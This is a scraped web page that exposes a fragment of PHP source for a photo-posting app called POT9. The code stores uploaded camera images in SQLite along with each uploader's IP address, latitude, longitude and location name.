https://fiveo1.com/POT9/POT9.PHP
Dubai
|
exec("CREATE TABLE IF NOT EXISTS posts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
filename TEXT,
ip_address TEXT,
latitude REAL,
longitude REAL,
location_name TEXT,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
)");
// Helper to get client IP
function getClientIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) return $_SERVER['HTTP_CLIENT_IP'];
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return $_SERVER['HTTP_X_FORWARDED_FOR'];
return $_SERVER['REMOTE_ADDR'] ?? 'unknown';
}
// Endpoint to return the server‑side IP (for first fetch)
if (isset($_GET['get_ip'])) {
header('Content-Type: application/json');
echo json_encode(['ip' => getClientIP()]);
exit;
}
// Handle POST upload (captured image)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['media'])) {
$filename = 'p_' . time() . '_' . bin2hex(random_bytes(4)) . '.jpg';
$path = $uploadDir . $filename;
if (move_uploaded_file($_FILES['media']['tmp_name'], $path)) {
// Get IP and location from POST data (sent from JS)
$ip = $_POST['ip'] ?? getClientIP();
$lat = isset($_POST['lat']) && $_POST['lat'] !== '' ? floatval($_POST['lat']) : null;
$lng = isset($_POST['lng']) && $_POST['lng'] !== '' ? floatval($_POST['lng']) : null;
$locName = $_POST['loc_name'] ?? '';
$stmt = $db->prepare("INSERT INTO posts (filename, ip_address, latitude, longitude, location_name) VALUES (:file, :ip, :lat, :lng, :loc)");
$stmt->bindValue(':file', $filename);
$stmt->bindValue(':ip', $ip);
$stmt->bindValue(':lat', $lat);
$stmt->bindValue(':lng', $lng);
$stmt->bindValue(':loc', $locName);
$stmt->execute();
echo json_encode(['success' => true, 'filename' => $filename]);
} else {
echo json_encode(['success' => false]);
}
exit;
}
// Get latest photo for initial display
$latest = $db->querySingle("SELECT filename FROM posts ORDER BY created_at DESC LIMIT 1", true);
$latestFile = $latest ? $latest['filename'] : '';
?>
POT9
← Back to Fiveo1
▼
▲